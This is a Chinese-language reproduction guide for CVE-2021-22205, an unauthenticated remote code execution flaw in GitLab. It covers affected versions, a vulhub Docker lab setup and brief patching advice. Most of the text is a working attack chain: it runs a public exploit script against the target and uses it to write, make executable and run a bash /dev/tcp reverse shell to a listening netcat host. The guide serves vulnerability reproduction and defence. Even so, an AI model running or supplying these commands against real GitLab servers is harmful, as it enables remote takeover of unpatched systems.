CVE-2021-22205 GitLab 未授权RCE漏洞复现验证

一、影响版本

GitLab企业版和社区版 < 13.10.3
GitLab企业版和社区版 < 13.9.6
GitLab企业版和社区版< 13.8.8

二、漏洞环境部署

执行如下命令启动一个GitLab 13.10.1版本服务器:
git clone https://github.com/vulhub/vulhub.git
cd vulhub/gitlab/CVE-2021-22205/
docker-compose up -d
环境启动后,访问 http://your-ip:8080即可查看到GitLab的登录页面。

三、漏洞复现

1、漏洞验证

git clone https://github.com.cnpmjs.org/Al1ex/CVE-2021-22205.git
python3 CVE-2021-22205.py -a true -t http://192.168.25.45:8080

2、攻击利用

反弹shell
攻击机上监听端口
nc -lvvp 7777
python3 CVE-2021-22205.py -a true -t http://192.168.25.45:8080 -c "echo 'bash -i >& /dev/tcp/192.168.24.210/7777 0>&1' > /tmp/1.sh" 
#这条语句意思是代表,将反弹shell命令写成sh脚本 到tmp目录下
python3 CVE-2021-22205.py -a true -t http://192.168.25.45:8080 -c "chmod +x /tmp/1.sh" 
#这条语句意思是代表,对写入成功的sh脚本加执行权限
python3 CVE-2021-22205.py -a true -t http://192.168.25.45:8080 -c "/bin/bash /tmp/1.sh" 
#这条语句意思是代表,运行反弹shell脚本
反弹成功:

四、修复方案

1、及时升级GitLab至最新安全版本
2、配置访问控制策略,避免受影响的GitLab暴露在公网